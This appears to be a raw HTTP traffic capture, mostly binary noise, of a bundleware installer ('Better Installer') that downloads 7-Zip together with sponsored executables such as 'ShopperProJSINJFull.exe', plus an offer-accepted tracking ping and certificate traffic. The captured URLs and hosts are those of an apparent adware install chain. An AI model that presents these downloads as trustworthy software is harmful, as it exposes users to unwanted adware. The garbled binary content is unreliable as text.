)(u].!...Q...T(D.....lX.....n.Vq....W.Y.~....#D.w4.L....$U[-1=O....^..
..Tc.!F....&_..c.O....L..n..7..vy.0.........|..4f..F.f..A.......1...;.
.p.4)I.E...jalX.~..q......G;~|.T{O^$...D`m.4...}[email protected]!.
....?.]F_V3yP.....n:rL...sQ...Q.T...-..i.....8d........O[.T...]....H.*
\F..<d..>........&...CU..._r.%D. ....._:M..u...k..(&.OHd.|......
Z.XJND..^...G....^n..q..eV77.....k....}.....wA.$....o.fU,9..3..kH.A...
...w..N.L}.....;..Mj#H....x.q<......8 .. .A...d.'4..6o.A......!..w.
.7.J...l..S..vfU..=.Y.[.S ..G..R......~..?3..."...,.t.:.......n..W..~l
..4.<..s)...........'..6...UwR...e.?-.(..$.).#.u..X.A}..Iw...*.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=2250000-2499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: ez1lb5-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:05 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: t3oPE4gtdTHChLuuFAHzGpxc8jIeMxvqAGNhEWdgKE8ZmiyMvFymTwVgD17KnyCjaFq2pjsECwM=
x-amz-request-id: E01D94CEEAA73E80
Last-Modified: Thu, 30 Apr 2015 05:20:00 GMT
ETag: "fc39515174f5c66488d0681c42472687"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 2250000-2499999/4738134
.b.'l...Ta2....nJ.&..T9.Bh..W.X.A.<$..'9Lk'fv.j.&qP..P./:V.....i..\
........S..$.....U...EQ.0)6s{...VF=..F..!.......a..~...>Ej....V....
r...71.f-..<.L...W.N<.......?...&..$C.)f!.tX..q..hA.......{.C..;
N.^l.*..P.#.1.Di.r.MNP.Z......|..&.h........."vYM.9.._.4u.yI...f.Ne)..
.ZG\.?...P.:....>.....j.......h...F....Du.-...t|.7WEu{zJ...g......s
.......9.S..*.}....Q.Q...%Z..1.svT...*L......c.............&..<..N|
.2......d....65..{x..pW...h..w.D......c..l....C..-4.m..&N...........{.
.....#.CH.v....Ff..;......B..7.z<..c..m.....rM.b.....%.y.7..f.(...L
>_....=....=...P#=..d;.Q..%..<.P."...dz..^8U..[...c..Z....E;..V.
.......`z.....N.k..........C.y1.h...l.2....t"....B....om...N[.Gv..p...
4..L...j..,TC... 4u.^."....W.}...'U.`.}......`.5.y.?>...h.s.t......
..}^. S..e..6.\.... Q.e..$.<..V.#'.g........................I..].s.
.&.... }.T.P ...m....Y*...4....RW9.nY.............K.q....9............
...mD. ..j.T\.a...'w...j..t..ES2Ng<... .j}...7,.......c4......d..".
........|..n.Uf|.......p8d7cr.....t...LD3h...`\#@g...6........v..D.,k7
.7?K,b..........}...Pf.....3...........Z;....B....s......"..A]..o2.../
.$V".............0.G........~UP..jmh......Q.f...{.....k`a8..l.$yF.....
.:...;.]..6.%8Vp..#...X.p..N...~D...&Qc...'.}.x.C.>..{..........>
;l......R/r...{S]..LX..R...D........?.lX.........on..g...^A.....X...'.
.P....A.Mk.E....!K......=.!ac.....r@....."...0..C...oi..TB%8.9Z..z....
E. ..Y......f.....H'......`..N....@|.....B0.[.a....c7.....S.....'AS.TA
msYb..e._......N4..0]..Y.=.. [email protected]..
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=2500000-2749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: ez1lb5-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:05 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: t3oPE4gtdTHChLuuFAHzGpxc8jIeMxvqAGNhEWdgKE8ZmiyMvFymTwVgD17KnyCjaFq2pjsECwM=
x-amz-request-id: E01D94CEEAA73E80
Last-Modified: Thu, 30 Apr 2015 05:20:00 GMT
ETag: "fc39515174f5c66488d0681c42472687"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 2500000-2749999/4738134
J.L!....9@.. .f..Qy.....~...|.l/......Euz..A..Q..II..g.@.~.4....TO.s4t
.,@.{.".....R..4?...S,)...J.A<.W......jw.IO...\P[6S.......uud...L..
........#.$...^.:..E.."..@[......./,Ho...`..6Q).Q......m...,X....YGbS.
..1I..3....S..x....`%...K.l...I#JK..9jU...~.t....7.=...m...t..R...5.eO
.Y...O.%.V'^....L......x.e../.....H..Qag.d.....S...... <.)....>.
..33......<e.T'.A_.]0.B...:.2S...`.."...4...OfJ.?.......Z.C/..g.Mj.
.....,.7u.z.=./....k'....Z..<m..rs.....6,.....m(....,D9...DG=..?[..
2._y..w..r3f..\..Y.nt.`[email protected];.....F..b...$.
t..C#.sM.....Y3..>:.J......../...p..Y.".RE... ..Oc$4?...u.k........
2R .......`\. Q...dk...8Os.dzj....l.......C..C.%.'.........<..V.kK.
.L......2...&.PZ1..e....r....V..pk^r.I..4%.T.........{........=.*:....
.V.g.l..1.9.....{?52...3P.GEL ....!...k..A=Jk...([email protected]../..m.\f..O
..Yb.Z.%.x9U2...C\.w..7#".8t|.1...4.!.*..de&........[...2.kY..&.,.`.A'
..E...".>.,...a..K.,...j....\Q...cO.DS.n.my`6..!4.t..... ..Z..$...(
;...`1F..`y....ip(,x(..zr...cAL1..L .0<dW9.."kV._R..t..^P..9W~0.J..
&._N..zh..a.B.....f.|...tg.v..(K.O..Hb3..(...cm.*$...p.g...s....M..G.d
..N....X._..8..(..k...)..u.C....4hH...b.}a.|..u....4.......u....34_5.c
G....r..&.....F{..,...p......q.._.3.....h.j...<...9:...7....v.eS...
D........_..^h...Y....r.... q.'...i.....<.=h......(...h.......%D...
.........Q...n..........%9...Mtb.L..s.F..#(z.-..@<...........Y...5.
....C..}..q..1,@...<.0C'........ lP...k0x.......l.-..X..F....0[]...
..\...*.P?aYe........L.>/`...k.. ].Z..........(I...k.sd(.....|B
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=3750000-3999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: ez1lb5-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:06 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: t3oPE4gtdTHChLuuFAHzGpxc8jIeMxvqAGNhEWdgKE8ZmiyMvFymTwVgD17KnyCjaFq2pjsECwM=
x-amz-request-id: E01D94CEEAA73E80
Last-Modified: Thu, 30 Apr 2015 05:20:00 GMT
ETag: "fc39515174f5c66488d0681c42472687"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 3750000-3999999/4738134
......{v4...~.....;....W.A.y^....x.ukL?......^..o..P..).]...iBR.......
.5.... K.(./ ]?rn..... 5;"......sg$........K.... .Q.X.~....)BH.a2.f.X.
....E.T.7..hHq....<...x.....9Qw..lwKbw....... [email protected],\[.R;#GO....
.......A' ....=...C.s...i........::Ub@ .Y...\. .&...Kh...xQ.w....Ea.vK
...p.*.s...Œ[email protected]......$.f........=.H9.,\.k.c..
9|/M4W.Y..:....o.......A..d\/.J.g..mp...g...qY_....../ .0.>...VA.&)
.^.q{.......d/.O..i...T..._.....V..R....o."...yt.T......v_.r........w.
?...3...f..@.... ..'..%.]&....x2...c..<..6.q4.........B[p..........
D.j.N.W..m...z.Y..7V..j....u.&.B..8R/m....w..n.......y%...r.W.;6...3..
.hU...$w_...{]...Z..c...FK........,..:..._h([.NuOe.U.=[...Y:LK.....A..
........a*........&.".....h.J.....Mox.?.4...._..q.....gV.Z1.....;.?...
;....T.d9...............rq.E.N..A...}1P.q..O.f ..}.(..[..Ow\exO......I
.c..Z..)......L..... \.B*l........1..BL..R..TuVl..3.'..B.x.k..K..Ui...
[email protected]._.J)Bc...;.%..D..q.....]\.G..... .
!!j....9^.O~-....>MG..$......h....GS.....rH..b.............c.x/...O
a.".^'.{.y6......P&...Y%.]~...X..R.)......;... ..Cx.n....;zz....H.Kt`z
.0\..O...NF.m.$D...K.TJ...Ub...........Q..._|....C\......>X<.c`x
@<....:.;. )"....N.k..r2....E...3{.@.......)^.N..r....x..y.T.GF...a
>\n.f.(..!...q..v..:H.[....Y.._....4.....x.Z/.=2.9...gT..... ....E.
...4O.n.. .K...0.s7............fx.,F..xW.Q._.T.3..O.tV.H...|U).fh1\v.f
.F.H.G..Huy2......-^...1.6..a.5...2.$...2.b........C... ..V......._.W.
........5.s.]~..8.t.4.P>B.I.._. J.....`..Y....s.......P....z..W
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=138810-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache



C...;....u..r.c..o.....s..\.6..............OZ".t.d.W....$%<.......0
K.(1.W. .i.-...DJ....JH$.N..z.k\t.|..W..5..a..:.P.../...g`.....wDN....
..H*...G.R.].u{...7......'........*.=.H...5.^..#..z.<......*...4 4.
.q.^D...w.....uq../...G/.:.:..k..3.a....jxK......i...B....I*.z. .X.Ay.
_..-...o....4.9..y.........../..g8.CH.5u..u.f.4. a2..=..Bb&W..E.....$.
.......`#.V...V..Q.V...q.......v...W....I" ..6."[email protected]..'.........
....4r...........j......<.y.....|...PxCV.R..Yf..l... .1J.~o.......W
..`8.RJ.....&....O8".lvFd..I......7.:.-...;.....b......'Ev...JBf....N.
.z...&?..x......G.n...JD..,r=.........Y........... ~Mh...IuW.....c..."
.}....<K4... .7o...."{...$..K.{c.m7IE....Hs....&...Y._WF\.y...l.X.6
.s..Y....B.Zi..S.....=..!iL..be................#k..h"s.....>i.0Kz3X
.%6..s..i...Y......#..B3..g.:,8.?.3...*.......S...9q<...I........z.
.I&.4.(C...B{.$N..<1..~..>8}..%..o.9...azuC...wE7...,. 4!.f0....
..C@:Y.}sL...Q.$A3(. c*..{.;x7~.6S.%#......aP..OA|[email protected].).uxu,8;.]...
*/...R..WN...";.I.......2......|G..X..`..........z...a..Q...8.Hi......
 .......?.<.....M.&...i.~.........:W..C..LfQ..3....%K..N3Q..,...42H
....^r|L...wc..sP:5.s..R....3h...d,.........A....l......o ....s.4'....
t...U.?.R.3....]T.gB2..B..=..2K.dd>.U.7... y.(=W.....^.'..y._...D.,
J.%..d..........4...f.:{[email protected]..."h ..y.....;.Z6.~Q..g....y.S......z
..dA.;.FXF.W.....m.d..c .G}./....~.2Ql.E..Ow.n;^.d...6`...c.U.7]....B.
A..L...h....?}*..$.,`...;.....[Q...JS#.tz.d../.E.b....6...\..;...vE..h
.5.xH.d.p..6.....A..;.\..4..G....Vs..z.5#..92..%_.$.H... ....5P)..
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=3&index_in_screen=1&index_in_session=3&0.3723478397918981 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.1.10.1430385829; __utmc=1; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:24:30 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:24:30 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=643165-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 643164
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 25 Apr 2015 19:35:23 GMT
Content-Range: bytes 643165-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: nJWodzG5ewlIj5j8ZUYY36tB8s2itc1FEskr9Q5zwg__XKDqP9-uFQ==
...E.oDW...*/[email protected].....;.ht..^......
@..........F._o.[.Ru.....mT.............d.u .K.6M.,....../.p./z.8A.;.2
-...p0W6^F.....V.oP...U...qV...y...W................Z...h..T...y.....M
..*M........?O$..}s.......r...7..D.uBDE#.nqJ....!,......".M..#... ..oR
ox.tY%....`...D6f.c...)s...JOF\....r..2......kF 7\...p/../q.H..1`.A..a
.N......K..0.j...n... ...R-..F.mB...jq.ED..J.S...........u.@.:5p>..
..}n^B..*'...x...B......&..K......q....U%[.=H../.IR..y...<.=.......
.J.=Y^....%.......*....H...'W..)Vy..q..o. -.k..*.l(...>.Lys.=..?#..
A...E....Ht....4.h/......i........^.q..LI..y.....X..f........Gpu.....p
.5(...5..W.*Z......M..)......?.....;N.>5u.bC..,..kDa...n....Cu.....
6......K...../......m...6...OgF. D....m.:...a}$..s.....K.H0(`..g.....y
.....R..>.u9...[\.>.h.........g....i_....;..U.#.$9....V.T.>.H
e..L.=...8......\.-y..2~..~.'c............xT....=E..e...b._...>.'.z
...&rs.}.....3?.....n.T....".fu...b.(..tI2Z.../.8s.c.6..........9.GH\.
.\C.P%_>..V.)....(..F..,.alW...,.`.S:.Is\._...>......L.yHr..Vx.?
...xb.yF..'...'6.h..g...y q.....~.j....76N..{...;C..i,..o\.../x.0.]..e
'.n.K.b.`....dHV....f....I....3..'..!]..0.CxJ...=...V..O./.9......V...
=.Q`.F..K....q.P{.....i..9.*.*."[email protected]=..A.D...c>.....)FD/R..:...'...
..x3..T.&........C%.(.......(...( .2..v....R.>...p..gP.4...|.U..o..
...[C.U2..*g...K....H[.]...N.....Yl..XVQ.~....y.....V...N...o......?~.
.$.e..}........2.N[|..../.o...}....H^.....D.q..B#..~....[w~.}F*.f....$
..,..2.....=.s.bs :<..<=...W..#.Z.6...q..g)....'R..'.....A..
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=277619-555238
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:23:53 GMT
Content-Type: application/octet-stream
Content-Length: 277620
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 277619-555238/1110476
.../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6..
.C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>...
...Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e
."T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|
X....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%............
........... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c
..ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..
f6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W.....
.0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;
. ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t...
.t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........m
s..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoY
I1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%.
..j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O
|.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A....
...,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r.......
.........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v
:./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G..
.(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T
.k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N
.7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB..
......V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d...
<<< skipped >>>


GET /pki/mscorp/msintcrca.crt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: VVV.microsoft.com


HTTP/1.1 200 OK
Content-Length: 1460
Content-Type: application/x-x509-ca-cert
Last-Modified: Thu, 05 Apr 2012 22:54:51 GMT
Accept-Ranges: bytes
ETag: "8f34f51b7f13cd1:0"
Server: Microsoft-IIS/8.5
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
VTag: 438305627800000000
X-Powered-By: ASP.NET
X-Powered-By: ARR/2.5
X-Powered-By: ASP.NET
Cache-Control: max-age=475
Date: Thu, 30 Apr 2015 09:24:21 GMT
Connection: keep-alive
X-CCC: SE
X-CID: 2
0...0..................J..m5.p.0...*.H........0,1*0(..U...!Microsoft I
nternal Corporate Root0...120405215454Z..370405220105Z0,1*0(..U...!Mic
rosoft Internal Corporate Root0.."0...*.H.............0..........We...
....#.............y....<d]U2>L..J..p ..j.......[.Fk..>...C...
..wQ...n.4.C["....q.>.s..v.....Du.}W-............~....k........Vl..
v).....O..:........X.2P%..A.S.<w.a.6j|.K.N..>...;....$.%.....H..
.. ....M...u.Y.<])O..YFF-).....$Yp)/...I..G.p...-.......m....Ca...H
OJ.aP..%...S..p.h....{^. ..,R..<2xV.".tm.Q.9...:.{.'w.0&{.).k..W.~y
M'm....2..(....."&...Y>.......a...."3..._..;.g....e`$4..OJh....._q.
..h9P....Y!g.uc{.....-c.s...>xw.....H..|....!.N.Nhs....}R.h......e.
|T......FO.B2..\~v>....i.8..J...9.ua.6_..............0..0...U......
..0...U.......0....0...U.........d......T.....xKza0... .....7.......0y
..U. .r0p0n..U. .0f0d.. .......0X.V.h.t.t.p.:././.w.w.w...m.i.c.r.o.s.
o.f.t...c.o.m./.p.k.i./.m.s.c.o.r.p./.c.p.s...h.t.m0...*.H............
.4..z*..~.>...o9...EW...%s..v...wY3./xQ./.)VT...,.Lg......(...{u_.s
..a.....F,.:.#..#b.q.......0...?i..\.P4.9E..\..F.~..:....N.^D...&n....
.#q.cw.(...w........&Q..d...H..".U1M~.......G]....K..P.(.N.;M...N.6.ab
.so...=A*[email protected].)
rt...,......E.....UT`.0D.....\...11aA......J...z.....b9(..(B)p!. ..{q.
'......aX....B.j.9.A..\y7...:\..b.:[email protected]>.%...%..........6.$
..A......M.1.m........ ...q.2_E..Emh'T}/.. 2..(.....~ .. 8.t./....7...
.e..mY...~f.....1.h..... ......
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache



.u..T...j..........n...j..u....}.............E.;.u..M....f......A....E
.....=..........j.3.Y.}..u....E....B.hp.A..E..}[email protected]
[email protected]@.V.......>B.........t(....B.u [email protected].
[email protected]..#......E......}.....t..}.......u....e...
e..VS.....V.$.....u..E......h.A.VW.9...3.S.S...;..E.t53.;.t-.E.P.E.P.E
.PW.U...ul..t.f!.W.=.....K;.f..\.u.3.VW.....W.o...;.t.. ..E.P.E.P.E.P.
[email protected]:[email protected]...... .}..E.........E.....3.
...}......j......9].t.;.s..E.......|6B.9Y.t Pj.h.........9].t.Wj.V....
...hX.A.V.u.......E.;..D?B.u.j.......E..E..p.t..].3.9]....P.....9].u.9
...B.u..{.......B..u..u..u......_^[....U...}[email protected]
.j.hf....u....}[email protected][email protected].^]..
[email protected]......._j.[s.j._j.[......s.j.3.[[email protected]......
E.j.P.H...P.E.SP.=...P..%[email protected].....
[email protected]..._^[.......>B....>B.3...t.V.A.
.t..t$..........Ju.^[email protected].}.j.j.h....W...}..t<...q@....
.......E..E.PW.M...pq@..E.Pj.h....W...E.fu.......E..E..E.Pj.h....W.E..
......E._^....U....PSV.5,[email protected]......>[email protected].
..>B......3..}......]..E..."....E.j...?B...>B.[.}....Pj@.]....q@
.jn...B..5.>[email protected]@[email protected][email protected]
.....|.B..u.P..([email protected]|.B.Sh.....u...WWh.....u......}.Wj.h.....u....u..
[email protected]....;.t'.. t..}.PW.....PWhC....u...SPhQ....u...C..!|..}..]..t
.0j..u..u....t.4j..u..g...3.3.9=.>B........E..P..U..B..8.......
<<< skipped >>>


POST / HTTP/1.1
Host: rapidssl-ocsp.geotrust.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 102
Content-Type: application/ocsp-request
Connection: keep-alive

0d0b0@0>0<0... .........O|u..T/.X.. ..(e0....ki=j.BJ...e9.5$.x..0..
o...0.0... .....0...
0... .....0..
HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1347
content-transfer-encoding: binary
Cache-Control: max-age=506395, public, no-transform, must-revalidate
Last-Modified: Wed, 29 Apr 2015 05:59:52 GMT
Expires: Wed, 6 May 2015 05:59:52 GMT
Date: Thu, 30 Apr 2015 09:23:30 GMT
Connection: keep-alive
0..?......80..4.. .....0.....%0..!0...(0&1$0"..U....RapidSSL TGV OCSP 
Responder..20150429055952Z0f0d0<0... .........O|u..T/.X.. ..(e0....
ki=j.BJ...e9.5$.x..0...o.....20150429055952Z....20150506055952Z0...*.H
..................f...(5}qqvH{N:D<.k..7..."...h...(...^<=.Z....E
s../.bF...."y...I....b>O;..9..u.....]n............W<Ftf}..9,L.A.
-_."/...KlDt\.#.^........)R".........Wd.9..B...ei.c..u.HV....6- ..O..|
...E ....!..9,..)[email protected])3f.K ...4[f..[....;
....c0.._0..[0..C..........0...*.H........0<1.0...U....US1.0...U...
.GeoTrust, Inc.1.0...U....RapidSSL CA0...140502164755Z..150522164755Z0
&1$0"..U....RapidSSL TGV OCSP Responder0.."0...*.H.............0......
...@1..[[email protected].....=N.. ...[J...KB.....
.R.l.8..y....KW....i.._.#W.#21D)..s.X<.......N...n.:..~.t.i@......*
...Tz..V...9...|)~uzG.\V.pWf....?J.a..T..:..Z....bIV./.M.,B.....*.Qw..
....3|XC ..1...\.d{....%.......6Ba...F.=.~.....o.........|0z0...U.#..0
...ki=j.BJ...e9.5$.x..00... .....0......0...U.%..0... .......0...U....
.......0!..U....0...0.1.0...U....TGV-B-1190...*.H.............S..o...s
[...pM......9<n.&...!9..8.4.C.E.....z.Q5....A.].....o%.*.c.A.ik.C.L
....9S....g.sk/N.L.....1A..4w....f.2..pv..WX......UI..3W.]..Z....{.S.o
..P..G...F-....!.?.^.....{.c....5....aSU.A2.....)uAD... .....P.*$..>
;..J.......QKwI....GU...O.{g....._....J..<....
<<< skipped >>>


GET /ShopperProJSINJFull.exe HTTP/1.1
Range: bytes=250000-499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: ez1lb5-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:04 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: t3oPE4gtdTHChLuuFAHzGpxc8jIeMxvqAGNhEWdgKE8ZmiyMvFymTwVgD17KnyCjaFq2pjsECwM=
x-amz-request-id: E01D94CEEAA73E80
Last-Modified: Thu, 30 Apr 2015 05:20:00 GMT
ETag: "fc39515174f5c66488d0681c42472687"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 250000-499999/4738134
...*<.._.....I............B....U`...-........2O.........>.......
.6..7.e...S.qeM.....N.oGd.?.%9..6.0p.(.i...Kk.....b;..`[email protected]=.5n..B..
z.JX...jUJ...ISy....R...<............`)..ZB..<V..........Ey.9...
...*..A7....=[.iz...U.:'.q.m^...... ..\.,{z w.W......'..K...m...4...H.
.o..9)..w&.6T.s..Khq._....w...........tA........`irx..h...7.~.9Gl....a
.....#B.(=.jh.~.d.-..r....N .^......>>.4I.....s...t8.2.jWm.]....
k&#hj.B],N..y..P............ ....Y....f.a..(..8Gu.r.......}...u..N.Yt7
..=?....03......y.A`...?..7.F....ZQ..M..mC...N3.......y...K....Og>.
$.(..z...T!..D....*_..fo%N..r.........S..........2;b.....2.N....8.&f73
...>&...:.a&.#...gp[Z\sv.-.Ey8.d.-...Dh.?..6............ ..Eo.2n...
Ac=b.t.H.......ay..q..X...z..s.....R...,~.r..h. ....={...7.......DS[..
.....N.wXn.. O"\.a).hD........*'.9.D....'.t.c.V..E.v...jgi3...G.Y..0..
[."....0 f.....x.U.=^..fO.i.u[..k>.ivLQf>..........7.....|..%...
.%.s..E1...G..5. LG..n.G..k.>`.Fe.|.&....N.......l..qo....DQ.Xa.!~.
..Z...tsH....e....9v...B.L....#E]..5.....Zq.q...q.C6<.k../c.s..~T..
.B.... {.t{...9.LT.O.....^.}]...^..y..(../..:.}.RJ...z.^..Tr.....k.(..
-.(....(..x.T...e.7D...WZs..A.......E.q?.?]`..3.._.yA.'...c.EZ.eW.P...
....v...[/..8.#....$..y..s.......`k..k.!..f.0.....nj..Q.......e.ge.o.0
....R.:..._.)4..2.s.nmy;.[.....>.......U*9........r. .[..S'..|..?`.
?.1Q...T..s.C...M...<g.,.....%.. ...s.....t;....j......W....t.u|.A`
a.J.q...2.......9....q\...b....P.U'E]T........l.......<[email protected]^
......*][email protected].}...YD....u.....y.X..S.s..~.;{S.H5...Z..?N..mT.r.n...
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=1250000-1499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: ez1lb5-su78sj1t.netdna-ssl.com
Connection: Keep-Alive



..V..D,.8..v......nG.yZ.3.aG....b..A. .W>...q.3. v... ..4j....X6N..
m..,D......7..C.&r..G}.....N..-....sL...j?..n9..gD.......e.,n...}.# W.
.7a..![.......>...|....:*..;.-...u....,.}G-.Pr."B..;...;YRv.......V
..u.....o[ .u.y./...7q.S..%j.!..G-gF0..-..~J/."....!....ECO..r...`....
.6.I.S.A....2(7d....m........S.F...:.u.%.).3q.r..... ..I..b/...6EG....
L...H..NM.._E..m.....f.l...A.yP...........c...X.O...D.....)..N&.....A.
$...f.....,.gY...=`.)~o...#N..B2..S.|.W)....4......*...H.ur.....I!..p{
....M.........9...c....u.............3D.w.{..'...V.g......9..._.z,....
..V.[..V837.|......l..`V.....)...n&.X...VI. ..Yf7.T(R..X%X..K...{:....
-....;T...`..{...C.T..p..#.3..U.......iZp>....6.Q.,/a..;........d..
.e......5f%.......M.b..eo...#.w.1..6tzx.q"G7....G`M{.{<......B..QTL
%oH!#..DKh.dY:...H.....\].#.-../i).H.......E.......c...(...<..P.0.&
lt;7I...U..s..=..ekW...x.V.g..Z.Y..}......`.\........\}.#`..N.....c...
.........^..gl.l .R*[{R.......u...D.b ....-,...].R..P'..[.m...~.W..(..
.:...lV..n......t.....l.....(.[.r.....6..9..].O@$.r.vd..........S.....
.h...m.z.)A...o..c...h..e..^..4.4..a..1g......[.)..{i.!..C.PGO.F ...Z.
..{...o.[-v..G.*..N..W(.kf/..i^...$..%.X.(..@z...{...Q.....q...J."..e.
.?h..Ov.3.d.....M../..3.<...Jv..g.#.5..1.....D..........#..".3..&..
...U..6$..)Zz.;.....z.N.~.;.....r..._"G..6....$.>..f.........|.....
f).Q...L.I..'&..M6.....h9......H.....D..2!..=.(.=9.b....E...T}.. ..F..
.j...Q.N.3q......4z|..!eu.....t..!...../.zz...y./^@.../B.r...e...b.u\&
lt;l0.`...'V.....z..(a(.l...PK..|.....}..b~.........H.W.^..V5]I...
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=2750000-2999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: ez1lb5-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:06 GMT
Content-Type: application/octet-stream
